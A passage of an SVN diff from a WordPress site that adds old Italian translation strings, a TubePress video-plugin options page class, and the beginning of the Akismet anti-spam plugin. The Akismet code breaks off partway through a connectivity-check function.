+#~ msgstr[0] "Inoltre vi Ãš %1$s commento in totale, di cui %2$s, %3$s e %4$s."
+#~ msgstr[1] ""
+#~ "Inoltre vi sono %1$s commenti in totale, di cui %2$s, %3$s e %4$s."
+#~ msgid "You have %1$s, contained within %2$s and %3$s. %4$s %5$s"
+#~ msgstr "Vi sono %1$s, contenuti in %2$s e %3$s. %4$s %5$s"
+#~ msgid "%d widget"
+#~ msgid_plural "%d widgets"
+#~ msgstr[0] "%d widget"
+#~ msgstr[1] "%d widget"
+#~ msgid "You are using the %1$s theme with %2$s."
+#~ msgstr "Si sta utilizzando il tema %1$s con %2$s."
+#~ msgid "Design"
+#~ msgstr "Design"
+#~ msgid "Users Matching \"%s\""
+#~ msgstr "Utenti corrispondenti a \"%s\""
+#~ msgid "Manage Users"
+#~ msgstr "Gestione utenti"
+#~ msgid "By"
+#~ msgstr "Di"
+#~ msgid "Invalid plugin."
+#~ msgstr "Plugin non valido."
+#~ msgid "Available Plugins"
+#~ msgstr "Plugin disponibili"
+#~ msgid ""
+#~ "Enable remote publishing using the WordPress, Movable Type, MetaWeblog, "
+#~ "Blogger and Atom publishing protocols for my blog."
+#~ msgstr ""
+#~ "Abilitare la pubblicazione remota per questo blog utilizzando i "
+#~ "protocolli WordPress, Movable Type, MetaWeblog, Blogger e Atom publishing."
+#~ msgid "Convert Tags"
+#~ msgstr "Canverti tag"
+#~ msgid "Category is already a tag."
+#~ msgstr "La categoria Ãš giÃ  un tag."
+#~ msgid ""
+#~ "By default WordPress uses <a href=\"http://gravatar.com/\">Gravatars</a> "
+#~ "&#8212; short for Globally Recognized Avatars &#8212; for the pictures "
+#~ "that show up next to comments. Plugins may override this."
+#~ msgstr ""
+#~ "Di base WordPress utilizza <a href=\"http://gravatar.com/\">Gravatars</a> "
+#~ "&#8212; abbreviazione di Globally Recognized Avatars per le immagini che "
+#~ "appaiono accanto ai commenti. I plugins possono modificare questo "
+#~ "comportamento."
+#~ msgid ""
+#~ "Some plugins could not be reactivated because they triggered a "
+#~ "<strong>fatal error</strong>."
+#~ msgstr ""
+#~ "Alcuni plugin non possono vernir riattivati perchÃš hanno generato un "
+#~ "<strong>errore fatale</strong>."
+#~ msgid "Plugins <strong>reactivated</strong>."
+#~ msgstr "Plugin <strong>riattivato</strong>."
+#~ msgid ""
+#~ "Couldn&#8217;t open plugins directory or there are no plugins available."
+#~ msgstr ""
+#~ "Non posso aprire la directory dei plugin o non vi sono plugin disponibili."
+#~ msgid "<span class=\"inactive\">Inactive</span>"
+#~ msgstr "<span class=\"inactive\">Inattivo</span>"
+#~ msgid "Post Revision"
+#~ msgstr "Revisone articolo"
+#~ msgid "Something strange happened.  Try refreshing the page."
+#~ msgstr ""
+#~ "&Egrave; accaduto qualche cosa di strano. Prova a ricaricare la pagina."
+#~ msgid "Slow down, I'm still sending your data!"
+#~ msgstr "Rallenta, sto ancora inviando i tuoi dati!"
+#~ msgid "Active"
+#~ msgstr "Attivo"
+#~ msgid "Inactive"
+#~ msgstr "Inattivo"
+#~ msgid "Long description"
+#~ msgstr "Descrizione estesa"
+#~ msgid "Tags: %l"
+#~ msgstr "Tag: %l"
+#~ msgid "G|rating"
+#~ msgstr "G"
+#~ msgid "PG|Rating"
+#~ msgstr "PG"
+#~ msgid "R|Rating"
+#~ msgstr "R"
+#~ msgid "X|Rating"
+#~ msgstr "X"
+#~ msgid "Crop to size"
+#~ msgstr "Ritaglia alle dimensioni"
+#~ msgid "All plugins <strong>reactivated</strong>."
+#~ msgstr "Tutti i plugin sono stati <strong>riattivati</strong>."
+#~ msgid "Draft (%s)|manage posts header"
+#~ msgstr "Bozze (%s)|manage posts header"
+#~ msgid "ignored %s"
+#~ msgstr "ignorato %s"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/WordPressOptionsPage.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/WordPressOptionsPage.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/WordPressOptionsPage.php	(revision 44)
@@ -0,0 +1,421 @@
+<?php
+/**
+ * WordPressOptionsPage.php
+ * 
+ * Handles everything related to the options page
+ * 
+ * Copyright (C) 2007 Eric D. Hough (http://ehough.com)
+ * 
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ * 
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+*/
+
+class WordPressOptionsPage
+{
+    /**
+     * Prints out the advanced options. Simple!
+     */
+    function printHTML_advanced($options)
+    {
+        WordPressOptionsPage::_printHTML_optionHeader(_tpMsg("ADV_GRP_TITLE"));
+
+        WordPressOptionsPage::_printHTML_textBoxOption(TP_OPT_KEYWORD, $options);
+        WordPressOptionsPage::_printHTML_textBoxOption(TP_OPT_TIMEOUT, $options);
+        WordPressOptionsPage::_printHTML_textBoxOption(TP_OPT_DEVID, $options);
+        WordPressOptionsPage::_printHTML_textBoxOption(TP_OPT_USERNAME, $options);
+      
+        WordPressOptionsPage::_printHTML_booleanOpt($options, TP_OPT_DEBUG, "DEBUGDESC");
+        WordPressOptionsPage::_printHTML_optionFooter(); 
+    }
+    
+    /**
+     * Prints out the display options. Simple!
+     */
+    function printHTML_display($options) {
+        WordPressOptionsPage::_printHTML_optionHeader(_tpMsg("VIDDISP"));
+       
+        WordPressOptionsPage::_printHTML_textBoxOption(TP_OPT_VIDSPERPAGE, $options);
+        WordPressOptionsPage::_printHTML_textBoxOption(TP_OPT_VIDWIDTH, $options);
+        WordPressOptionsPage::_printHTML_textBoxOption(TP_OPT_VIDHEIGHT, $options);
+        WordPressOptionsPage::_printHTML_textBoxOption(TP_OPT_THUMBWIDTH, $options);
+        WordPressOptionsPage::_printHTML_textBoxOption(TP_OPT_THUMBHEIGHT, $options);
+
+        WordPressOptionsPage::_printHTML_booleanOpt($options, TP_OPT_GREYBOXON,
+            "TP_OPT_GREYBOXON_DESC");
+        WordPressOptionsPage::_printHTML_booleanOpt($options, TP_OPT_LWON,
+            "TP_OPT_LWON_DESC");
+      
+        WordPressOptionsPage::_printHTML_optionFooter();    
+    }
+    
+    function _printHTML_booleanOpt($options, $optName, $msg) {
+        $selected = "";
+        if ($options->getValue($optName) == true) {
+            $selected = "CHECKED";
+        }
+        printf('<tr valign="top"><th style="font-weight: bold; font-size: 1em" scope="row">' .
+                '%s</th><td><input type="checkbox" name="%s" value="%s" %s /><br />%s</td>', 
+            $options->getTitle($optName), $optName, $optName, $selected,
+            _tpMsg("$msg"));
+    }
+    
+    /**
+     * Prints out the drop down menu asking where to play the videos
+     * (normally, new window, popup, in youtube, etc.)
+     */
+    function printHTML_player($options) {
+        $locationVars =     $options->getPlayerLocationNames();
+        
+        WordPressOptionsPage::_printHTML_optionHeader("");
+
+        printf('<tr> <th style="font-weight: bold; font-size: 1em">%s</th>', 
+            $options->getTitle(TP_OPT_PLAYIN));
+        printf('<td><select name="%s">', TP_OPT_PLAYIN);
+
+        foreach ($locationVars as $location) {
+            $selected = "";
+            if ($location == $options->getValue(TP_OPT_PLAYIN))
+                $selected = "selected";
+            $inputBox = "";
+    
+            $desc = "";
+            switch ($location) {
+                case TP_PLAYIN_NORMAL:
+                    $desc = _tpMsg("PLAYIN_NORMAL_TITLE");
+                    break;
+                case TP_PLAYIN_NW:
+                    $desc = _tpMsg("PLAYIN_NW_TITLE");
+                    break;
+                case TP_PLAYIN_YT:
+                    $desc = _tpMsg("PLAYIN_YT_TITLE");
+                    break;
+                case TP_PLAYIN_POPUP:
+                    $desc = _tpMsg("PLAYIN_POPUP_TITLE");
+                    break;
+                case TP_PLAYIN_LWINDOW:
+                    $desc = _tpMsg("PLAYIN_LW_TITLE");
+                    break;
+                case TP_PLAYIN_GREYBOX:
+                    $desc = _tpMsg("PLAYIN_TB_TITLE");
+                    break;
+            }
+    
+    
+            printf('<option value="%s" %s>%s</option>', $location, $selected, $desc);
+        }
+        
+        echo "</select></td></tr>";
+        
+        WordPressOptionsPage::_printHTML_optionFooter();
+    }
+    
+
+    
+    /**
+     * Prints out the meta value checkboxes. Fascinating stuff here!
+     */
+    function printHTML_meta($options)
+    {
+        WordPressOptionsPage::_printHTML_optionHeader(_tpMsg("META"));
+        
+        $metas = TubePressVideo::getMetaNames();
+        
+        echo "<tr><td width='10%'></td><td><table cellspacing='0' " .
+                "cellpadding='0' width='100%'>";
+    
+        $colIterator = 0;
+        foreach ($metas as $meta) {
+    
+            $colCount = $colIterator % 5;
+    
+            $selected = "";
+            if ($options->getValue($meta) == true) {
+                $selected = "CHECKED";
+            }
+            
+            if ($colCount == 0) {
+                echo "<tr>";
+            }
+    
+            printf('<td><input type="checkbox" name="meta[]" value="%s" %s />' .
+                '</td><td><b>%s</b></td>',
+                $meta, $selected,
+                $options->getTitle($meta));
+                    
+            if ($colCount == 4) {
+                echo "</tr>";
+            }
+            
+            $colIterator++;
+        }
+        echo "</tr></table>";
+        
+        WordPressOptionsPage::_printHTML_optionFooter();
+    }
+    
+
+
+    /**
+     * Prints out the mode options. Simple!
+     */
+    function printHTML_modes($options)
+    {
+        WordPressOptionsPage::_printHTML_optionHeader(_tpMsg("MODE_HEADER"));
+        
+        $modes = TubePressOptionsPackage::getModeNames();
+
+        foreach ($modes as $mode) {
+        	if ($mode == TP_MODE_REL) {
+        		continue;
+        	}
+        	
+            $selected = "";
+            
+            if ($mode == $options->getValue(TP_OPT_MODE)) {
+                $selected = "CHECKED";
+            }
+            $inputBox = "";
+            
+            /* The idea here is only the "featured" mode doesn't need any kind of input */
+            if ($mode != TP_MODE_FEATURED) {
+                    $inputBox = WordPressOptionsPage::_printHTML_quickSrchVal($mode, 
+                        $options, 20);
+            }
+            
+            /* handle the "popular" mode */
+            if ($mode == TP_MODE_POPULAR) {
+                
+                $name = TP_OPT_POPVAL;
+                $inputBox = sprintf('<select name="%s">', $name);
+                $period = array("day", "week", "month");
+                foreach ($period as $thisPeriod) {
+                    $inputBox .= sprintf('<option value="%s"', $thisPeriod);
+                    if ($thisPeriod == $options->getValue(TP_OPT_POPVAL)) {
+                        $inputBox .= ' SELECTED';
+                    }
+                    $inputBox .= sprintf('>%s</option>', $thisPeriod);
+                }
+                $inputBox .= '</select>';
+            }
+
+            $title = "";
+            $desc = "";
+            
+            switch($mode) {
+                case TP_MODE_POPULAR:
+                    $title = _tpMsg("MODE_POPULAR_TITLE");
+                    break;
+                case TP_MODE_FEATURED:
+                    $title = _tpMsg("MODE_FEAT_TITLE");
+                    break;
+                case TP_MODE_FAV:
+                    $title = _tpMsg("MODE_FAV_TITLE");
+                    $desc = _tpMsg("MODE_FAV_DESC");
+                    break;
+                case TP_MODE_PLST:
+                    $title = _tpMsg("MODE_PLST_TITLE");
+                    $desc = _tpMsg("MODE_PLST_DESC");
+                    break;
+                case TP_MODE_TAG:
+                    $title = _tpMsg("MODE_TAG_TITLE");
+                    break;
+                case TP_MODE_USER:
+                    $title = _tpMsg("MODE_USER_TITLE");
+                    break;
+                default:
+            }
+
+            printf('<tr><th style="font-weight: bold; font-size: 1em" valign="top">%s</th>' .
+                '<td><input type="radio" name="%s" id="%s" value="%s" %s /> %s <br />%s</td></tr>',
+                $title, TP_OPT_MODE, $mode, $mode, $selected, $inputBox,
+                $desc);
+        }
+         echo "<sup>*</sup><i>mode supports pagination</i>";
+        WordPressOptionsPage::_printHTML_optionFooter();
+    }
+    
+    /**
+     * Prints out the success or failure message after updating
+     */
+    function printStatusMsg($msg, $cssClass)
+    {
+        printf('<div id="message" class="%s"><p><strong>%s</strong></p></div>',
+            $cssClass, $msg);
+    }
+    
+    /**
+     * Go through all the post variables and update the corresponding
+     * database entries.
+     */
+    function update()
+    {
+        $errors = false;
+    
+        /* get what we have in the db */
+        $oldOpts = new WordPressOptionsPackage();
+        if (PEAR::isError($oldOpts)) {
+            WordPressOptionsPage::printStatusMsg($oldOpts->message, TP_CSS_FAILURE);
+            return;
+        }
+
+        /* go through the post variables and try to update */
+        foreach (array_keys($oldOpts->_allOptions) as $optName) {
+            if (($optName == TP_OPT_DEBUG)
+                || ($optName == TP_OPT_GREYBOXON)
+                || ($optName == TP_OPT_LWON)
+                || in_array($optName, TubePressVideo::getMetaNames())
+                || in_array($optName, TubePressOptionsPackage::getPlayerLocationNames())
+                || in_array($optName, TubePressOptionsPackage::getModeNames())) {
+                    continue;
+            }
+            
+            $result = $oldOpts->setValue($optName, $_POST[$optName]);
+                
+            if (PEAR::isError($result)) {
+                $errors = true;
+                WordPressOptionsPage::printStatusMsg($result->message, TP_CSS_FAILURE);
+                return;
+            }
+        }
+
+        /* Do the booleans */
+        $metaOptions = TubePressVideo::getMetaNames();
+        foreach ($metaOptions as $metaOption) {
+        	if (!WordPressOptionsPage::_updateBoolean($metaOption, $oldOpts, $errors,
+        	    in_array($metaOption, $_POST['meta']))) {
+        		return;
+        	}
+        }
+
+        if (!WordPressOptionsPage::_updateBoolean(TP_OPT_DEBUG, $oldOpts,
+            $errors, isset($_POST[TP_OPT_DEBUG]))) {
+        	return;
+        }
+        if (!WordPressOptionsPage::_updateBoolean(TP_OPT_GREYBOXON, $oldOpts,
+            $errors, isset($_POST[TP_OPT_GREYBOXON]))) {
+        	return;
+        }
+        if (!WordPressOptionsPage::_updateBoolean(TP_OPT_LWON, $oldOpts,
+            $errors, isset($_POST[TP_OPT_LWON]))) {
+        	return;
+        }
+    
+        /* now actually update is we didn't have any errors */
+        if (!$errors) {
+            update_option(TP_OPTION_NAME, $oldOpts->_allOptions);
+        } else {
+            return;
+        }
+        
+        /* make sure the store happened */
+        $oldOpts = new WordPressOptionsPackage();
+        if (PEAR::isError($oldOpts)) {
+            WordPressOptionsPage::printStatusMsg($oldOpts->msg, TP_CSS_FAILURE);
+        } else {
+            WordPressOptionsPage::printStatusMsg(_tpMsg("OPTSUCCESS"), TP_CSS_SUCCESS);
+        }
+    }    
+    
+    function _updateBoolean($optName, &$options, &$errors, $newValue) {
+        $result = $options->setValue($optName, $newValue);
+        if (PEAR::isError($result)) {
+            $errors = true;
+            WordPressOptionsPage::printStatusMsg($result->message, TP_CSS_FAILURE);
+            return false;
+        }
+        return true;
+    }
+    
+    /**
+     * Spits out a bit of HTML at the bottom of each option group
+     */
+    function _printHTML_optionFooter() {
+        echo "</table></fieldset>";
+    }
+    
+    /**
+     * Spits out a bit of HTML at the top of each option group
+     */
+    function _printHTML_optionHeader($arrayName)
+    {
+        echo "<fieldset>";
+        
+        if ($arrayName != "") {
+            printf('<h3>%s</h3>', $arrayName);
+        }
+    
+        echo '<table class="editform optiontable">';
+    }
+    
+        /**
+     * Prints out the HTML inputs for determining which videos to play
+     * (all tags, any tags, etc.). This is really a helper function
+     * for printHTML_searchArray()
+     */
+    function _printHTML_quickSrchVal($mode, $options, $inputSize)
+    {
+        $whichValue = "";
+        
+        switch ($mode) {
+        
+            case TP_MODE_TAG:
+                $whichValue = TP_OPT_TAGVAL;
+                $inputSize = 40;
+                break;
+
+            case TP_MODE_USER:
+                $whichValue = TP_OPT_USERVAL;
+                break;
+        
+            case TP_MODE_PLST:
+                $whichValue = TP_OPT_PLSTVAL;
+                break;
+        
+            case TP_MODE_POPULAR:
+                $whichValue = TP_OPT_POPVAL;
+                break;
+        
+            case TP_MODE_CATEGORY:
+                $whichValue = TP_OPT_CATVAL;
+                break;
+        
+            case TP_MODE_FAV:
+                $whichValue = TP_OPT_FAVVAL;
+                break;
+        }
+        return sprintf('<input type="text" name="%s" size="%s" value="%s" />',
+            $whichValue, $inputSize, $options->getValue($whichValue));
+    }
+    
+    /**
+     * Helper function to spit out a textbox input
+     */
+    function _printHTML_textBoxOption($optionName, $options) {
+        $openBracket = "";
+        $closeBracket = "";
+        if ($optionName == TP_OPT_KEYWORD) {
+            $openBracket = '[';
+               $closeBracket = ']';
+        } 
+        printf('<tr valign="top"><th style="font-weight: bold; font-size: 1em" scope="row">' .
+            '%s</th><td>%s<input name="%s" type="text" id="%s" class="code" value="%s" ' .
+            'size="%s" />%s<br />%s</td></tr>',               
+            $options->getTitle($optionName), $openBracket,
+            $optionName, $optionName,
+            $options->getValue($optionName), 20, $closeBracket,
+            $options->getDescription($optionName)
+            );
+    }
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/akismet/akismet.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/akismet/akismet.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/akismet/akismet.php	(revision 44)
@@ -0,0 +1,1097 @@
+<?php
+/*
+Plugin Name: Akismet
+Plugin URI: http://akismet.com/
+Description: Akismet checks your comments against the Akismet web service to see if they look like spam or not. You need a <a href="http://wordpress.com/api-keys/">WordPress.com API key</a> to use it. You can review the spam it catches under "Comments." To show off your Akismet stats just put <code>&lt;?php akismet_counter(); ?&gt;</code> in your template. See also: <a href="http://wordpress.org/extend/plugins/stats/">WP Stats plugin</a>.
+Version: 2.2.4
+Author: Matt Mullenweg
+Author URI: http://ma.tt/
+*/
+
+// If you hardcode a WP.com API key here, all key config screens will be hidden
+$wpcom_api_key = '';
+
+function akismet_init() {
+	global $wpcom_api_key, $akismet_api_host, $akismet_api_port;
+
+	if ( $wpcom_api_key )
+		$akismet_api_host = $wpcom_api_key . '.rest.akismet.com';
+	else
+		$akismet_api_host = get_option('wordpress_api_key') . '.rest.akismet.com';
+
+	$akismet_api_port = 80;
+	add_action('admin_menu', 'akismet_config_page');
+	add_action('admin_menu', 'akismet_stats_page');
+}
+add_action('init', 'akismet_init');
+
+function akismet_admin_init() {
+	if ( function_exists( 'get_plugin_page_hook' ) )
+		$hook = get_plugin_page_hook( 'akismet-stats-display', 'index.php' );
+	else
+		$hook = 'dashboard_page_akismet-stats-display';
+	add_action('admin_head-'.$hook, 'akismet_stats_script');
+}
+add_action('admin_init', 'akismet_admin_init');
+
+if ( !function_exists('wp_nonce_field') ) {
+	function akismet_nonce_field($action = -1) { return; }
+	$akismet_nonce = -1;
+} else {
+	function akismet_nonce_field($action = -1) { return wp_nonce_field($action); }
+	$akismet_nonce = 'akismet-update-key';
+}
+
+if ( !function_exists('number_format_i18n') ) {
+	function number_format_i18n( $number, $decimals = null ) { return number_format( $number, $decimals ); }
+}
+
+function akismet_config_page() {
+	if ( function_exists('add_submenu_page') )
+		add_submenu_page('plugins.php', __('Akismet Configuration'), __('Akismet Configuration'), 'manage_options', 'akismet-key-config', 'akismet_conf');
+
+}
+
+function akismet_conf() {
+	global $akismet_nonce, $wpcom_api_key;
+
+	if ( isset($_POST['submit']) ) {
+		if ( function_exists('current_user_can') && !current_user_can('manage_options') )
+			die(__('Cheatin&#8217; uh?'));
+
+		check_admin_referer( $akismet_nonce );
+		$key = preg_replace( '/[^a-h0-9]/i', '', $_POST['key'] );
+
+		if ( empty($key) ) {
+			$key_status = 'empty';
+			$ms[] = 'new_key_empty';
+			delete_option('wordpress_api_key');
+		} else {
+			$key_status = akismet_verify_key( $key );
+		}
+
+		if ( $key_status == 'valid' ) {
+			update_option('wordpress_api_key', $key);
+			$ms[] = 'new_key_valid';
+		} else if ( $key_status == 'invalid' ) {
+			$ms[] = 'new_key_invalid';
+		} else if ( $key_status == 'failed' ) {
+			$ms[] = 'new_key_failed';
+		}
+
+		if ( isset( $_POST['akismet_discard_month'] ) )
+			update_option( 'akismet_discard_month', 'true' );
+		else
+			update_option( 'akismet_discard_month', 'false' );
+	} elseif ( isset($_POST['check']) ) {
+		akismet_get_server_connectivity(0);
+	}
+
+	if ( $key_status != 'valid' ) {
+		$key = get_option('wordpress_api_key');
+		if ( empty( $key ) ) {
+			if ( $key_status != 'failed' ) {
+				if ( akismet_verify_key( '1234567890ab' ) == 'failed' )
+					$ms[] = 'no_connection';
+				else
+					$ms[] = 'key_empty';
+			}
+			$key_status = 'empty';
+		} else {
+			$key_status = akismet_verify_key( $key );
+		}
+		if ( $key_status == 'valid' ) {
+			$ms[] = 'key_valid';
+		} else if ( $key_status == 'invalid' ) {
+			delete_option('wordpress_api_key');
+			$ms[] = 'key_empty';
+		} else if ( !empty($key) && $key_status == 'failed' ) {
+			$ms[] = 'key_failed';
+		}
+	}
+
+	$messages = array(
+		'new_key_empty' => array('color' => 'aa0', 'text' => __('Your key has been cleared.')),
+		'new_key_valid' => array('color' => '2d2', 'text' => __('Your key has been verified. Happy blogging!')),
+		'new_key_invalid' => array('color' => 'd22', 'text' => __('The key you entered is invalid. Please double-check it.')),
+		'new_key_failed' => array('color' => 'd22', 'text' => __('The key you entered could not be verified because a connection to akismet.com could not be established. Please check your server configuration.')),
+		'no_connection' => array('color' => 'd22', 'text' => __('There was a problem connecting to the Akismet server. Please check your server configuration.')),
+		'key_empty' => array('color' => 'aa0', 'text' => sprintf(__('Please enter an API key. (<a href="%s" style="color:#fff">Get your key.</a>)'), 'http://wordpress.com/profile/')),
+		'key_valid' => array('color' => '2d2', 'text' => __('This key is valid.')),
+		'key_failed' => array('color' => 'aa0', 'text' => __('The key below was previously validated but a connection to akismet.com can not be established at this time. Please check your server configuration.')));
+?>
+<?php if ( !empty($_POST['submit'] ) ) : ?>
+<div id="message" class="updated fade"><p><strong><?php _e('Options saved.') ?></strong></p></div>
+<?php endif; ?>
+<div class="wrap">
+<h2><?php _e('Akismet Configuration'); ?></h2>
+<div class="narrow">
+<form action="" method="post" id="akismet-conf" style="margin: auto; width: 400px; ">
+<?php if ( !$wpcom_api_key ) { ?>
+	<p><?php printf(__('For many people, <a href="%1$s">Akismet</a> will greatly reduce or even completely eliminate the comment and trackback spam you get on your site. If one does happen to get through, simply mark it as "spam" on the moderation screen and Akismet will learn from the mistakes. If you don\'t have a WordPress.com account yet, you can get one at <a href="%2$s">WordPress.com</a>.'), 'http://akismet.com/', 'http://wordpress.com/api-keys/'); ?></p>
+
+<?php akismet_nonce_field($akismet_nonce) ?>
+<h3><label for="key"><?php _e('WordPress.com API Key'); ?></label></h3>
+<?php foreach ( $ms as $m ) : ?>
+	<p style="padding: .5em; background-color: #<?php echo $messages[$m]['color']; ?>; color: #fff; font-weight: bold;"><?php echo $messages[$m]['text']; ?></p>
+<?php endforeach; ?>
+<p><input id="key" name="key" type="text" size="15" maxlength="12" value="<?php echo get_option('wordpress_api_key'); ?>" style="font-family: 'Courier New', Courier, mono; font-size: 1.5em;" /> (<?php _e('<a href="http://faq.wordpress.com/2005/10/19/api-key/">What is this?</a>'); ?>)</p>
+<?php if ( $invalid_key ) { ?>
+<h3><?php _e('Why might my key be invalid?'); ?></h3>
+<p><?php _e('This can mean one of two things, either you copied the key wrong or that the plugin is unable to reach the Akismet servers, which is most often caused by an issue with your web host around firewalls or similar.'); ?></p>
+<?php } ?>
+<?php } ?>
+<p><label><input name="akismet_discard_month" id="akismet_discard_month" value="true" type="checkbox" <?php if ( get_option('akismet_discard_month') == 'true' ) echo ' checked="checked" '; ?> /> <?php _e('Automatically discard spam comments on posts older than a month.'); ?></label></p>
+	<p class="submit"><input type="submit" name="submit" value="<?php _e('Update options &raquo;'); ?>" /></p>
+</form>
+
+<form action="" method="post" id="akismet-connectivity" style="margin: auto; width: 400px; ">
+
+<h3><?php _e('Server Connectivity'); ?></h3>
+<?php
+	$servers = akismet_get_server_connectivity();
+	$fail_count = count($servers) - count( array_filter($servers) );
+	if ( is_array($servers) && count($servers) > 0 ) {
+		// some connections work, some fail
+		if ( $fail_count > 0 && $fail_count < count($servers) ) { ?>
+			<p style="padding: .5em; background-color: #aa0; color: #fff; font-weight:bold;"><?php _e('Unable to reach some Akismet servers.'); ?></p>
+			<p><?php echo sprintf( __('A network problem or firewall is blocking some connections from your web server to Akismet.com.  Akismet is working but this may cause problems during times of network congestion.  Please contact your web host or firewall administrator and give them <a href="%s" target="_blank">this information about Akismet and firewalls</a>.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?></p>
+		<?php
+		// all connections fail
+		} elseif ( $fail_count > 0 ) { ?>
+			<p style="padding: .5em; background-color: #d22; color: #fff; font-weight:bold;"><?php _e('Unable to reach any Akismet servers.'); ?></p>
+			<p><?php echo sprintf( __('A network problem or firewall is blocking all connections from your web server to Akismet.com.  <strong>Akismet cannot work correctly until this is fixed.</strong>  Please contact your web host or firewall administrator and give them <a href="%s" target="_blank">this information about Akismet and firewalls</a>.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?></p>
+		<?php
+		// all connections work
+		} else { ?>
+			<p style="padding: .5em; background-color: #2d2; color: #fff; font-weight:bold;">All Akismet servers are available.</p>
+			<p><?php _e('Akismet is working correctly.  All servers are accessible.'); ?></p>
+		<?php
+		}
+	} elseif ( !is_callable('fsockopen') ) {
+		?>
+			<p style="padding: .5em; background-color: #d22; color: #fff; font-weight:bold;"><?php _e('Network functions are disabled.'); ?></p>
+			<p><?php echo sprintf( __('Your web host or server administrator has disabled PHP\'s <code>fsockopen</code> function.  <strong>Akismet cannot work correctly until this is fixed.</strong>  Please contact your web host or firewall administrator and give them <a href="%s" target="_blank">this information about Akismet\'s system requirements</a>.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?></p>
+		<?php
+	} else {
+		?>
+			<p style="padding: .5em; background-color: #d22; color: #fff; font-weight:bold;"><?php _e('Unable to find Akismet servers.'); ?></p>
+			<p><?php echo sprintf( __('A DNS problem or firewall is preventing all access from your web server to Akismet.com.  <strong>Akismet cannot work correctly until this is fixed.</strong>  Please contact your web host or firewall administrator and give them <a href="%s" target="_blank">this information about Akismet and firewalls</a>.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?></p>
+		<?php
+	}
+	
+	if ( !empty($servers) ) {
+?>
+<table style="width: 100%;">
+<thead><th>Akismet server</th><th>Network Status</th></thead>
+<tbody>
+<?php
+		asort($servers);
+		foreach ( $servers as $ip => $status ) { 
+			$color = ( $status ? '#2d2' : '#d22');
+	?>
+		<tr>
+		<td><?php echo htmlspecialchars($ip); ?></td>
+		<td style="font-weight:bold; color: #fff; background-color: <?php echo $color; ?>"><?php echo ($status ? __('Clear') : __('Obstructed') ); ?></td>
+		
+	<?php
+		}
+	}
+?>
+</tbody>
+</table>
+	<p><?php if ( get_option('akismet_connectivity_time') ) echo sprintf( __('Last checked %s ago.'), human_time_diff( get_option('akismet_connectivity_time') ) ); ?></p>
+	<p class="submit"><input type="submit" name="check" value="<?php _e('Check network status &raquo;'); ?>" /></p>
+</form>
+
+</div>
+</div>
+<?php
+}
+
+function akismet_stats_page() {
+	if ( function_exists('add_submenu_page') )
+		add_submenu_page('index.php', __('Akismet Stats'), __('Akismet Stats'), 'manage_options', 'akismet-stats-display', 'akismet_stats_display');
+
+}
+
+function akismet_stats_script() {
+	?>
+<script type="text/javascript">
+function resizeIframe() {
+    var height = document.documentElement.clientHeight;
+    height -= document.getElementById('akismet-stats-frame').offsetTop;
+    height += 100; // magic padding
+    
+    document.getElementById('akismet-stats-frame').style.height = height +"px";
+    
+};
+function resizeIframeInit() {
+	document.getElementById('akismet-stats-frame').onload = resizeIframe;
+	window.onresize = resizeIframe;
+}
+addLoadEvent(resizeIframeInit);
+</script><?php
+}
+
+
+function akismet_stats_display() {
+	global $akismet_api_host, $akismet_api_port, $wpcom_api_key;
+	$blog = urlencode( get_option('home') );
+	$url = "http://".akismet_get_key().".web.akismet.com/1.0/user-stats.php?blog={$blog}";
+	?>
+	<div class="wrap">
+	<iframe src="<?php echo $url; ?>" width="100%" height="100%" frameborder="0" id="akismet-stats-frame"></iframe>
+	</div>
+	<?php
+}
+
+function akismet_get_key() {
+	global $wpcom_api_key;
+	if ( !empty($wpcom_api_key) )
+		return $wpcom_api_key;
+	return get_option('wordpress_api_key');
+}
+
+function akismet_verify_key( $key, $ip = null ) {
+	global $akismet_api_host, $akismet_api_port, $wpcom_api_key;
+	$blog = urlencode( get_option('home') );
+	if ( $wpcom_api_key )
+		$key = $wpcom_api_key;
+	$response = akismet_http_post("key=$key&blog=$blog", 'rest.akismet.com', '/1.1/verify-key', $akismet_api_port, $ip);
+	if ( !is_array($response) || !isset($response[1]) || $response[1] != 'valid' && $response[1] != 'invalid' )
+		return 'failed';
+	return $response[1];
+}
+
+// Check connectivity between the WordPress blog and Akismet's servers.
+// Returns an associative array of server IP addresses, where the key is the IP address, and value is true (available) or false (unable to connect).
+function akismet_check_server_connectivity() {
+	global $akismet_api_host, $akismet_api_port, $wpcom_api_key;
+	
+	$test_host = 'rest.akismet.com';
+	
+	// Some web hosts may disable one or both functions
+	if ( !is_callable('fsockopen') || !is_callable('gethostbynamel') )
+		return array();
+	
+	$ips = gethostbynamel($test_host);
+	if ( !$ips || !is_array($ips) || !count($ips) )
+		return array();
+		
+	$servers = array();
+	foreach ( $ips as $ip ) {
+		$response = akismet_verify_key( akismet_get_key(), $ip );
+		// even if the key is invalid, at least we know we have connectivity
+		if ( $response == 'valid' || $response == 'invalid' )
+			$servers[$ip] = true;
+		else
+			$servers[$ip] = false;
+	}
+
+	return $servers;
+}
+
+// Check the server connectivity and store the results in an option.
+// Cached results will be used if not older than the specified timeout in seconds; use $cache_timeout = 0 to force an update.
+// Returns the same associative array as akismet_check_server_connectivity()
+function akismet_get_server_connectivity( $cache_timeout = 86400 ) {
+	$servers = get_option('akismet_available_servers');
+	if ( (time() - get_option('akismet_connectivity_time') < $cache_timeout) && $servers !== false )
+		return $servers;
+	
+	// There's a race condition here but the effect is harmless.
+	$servers = akismet_check_server_connectivity();
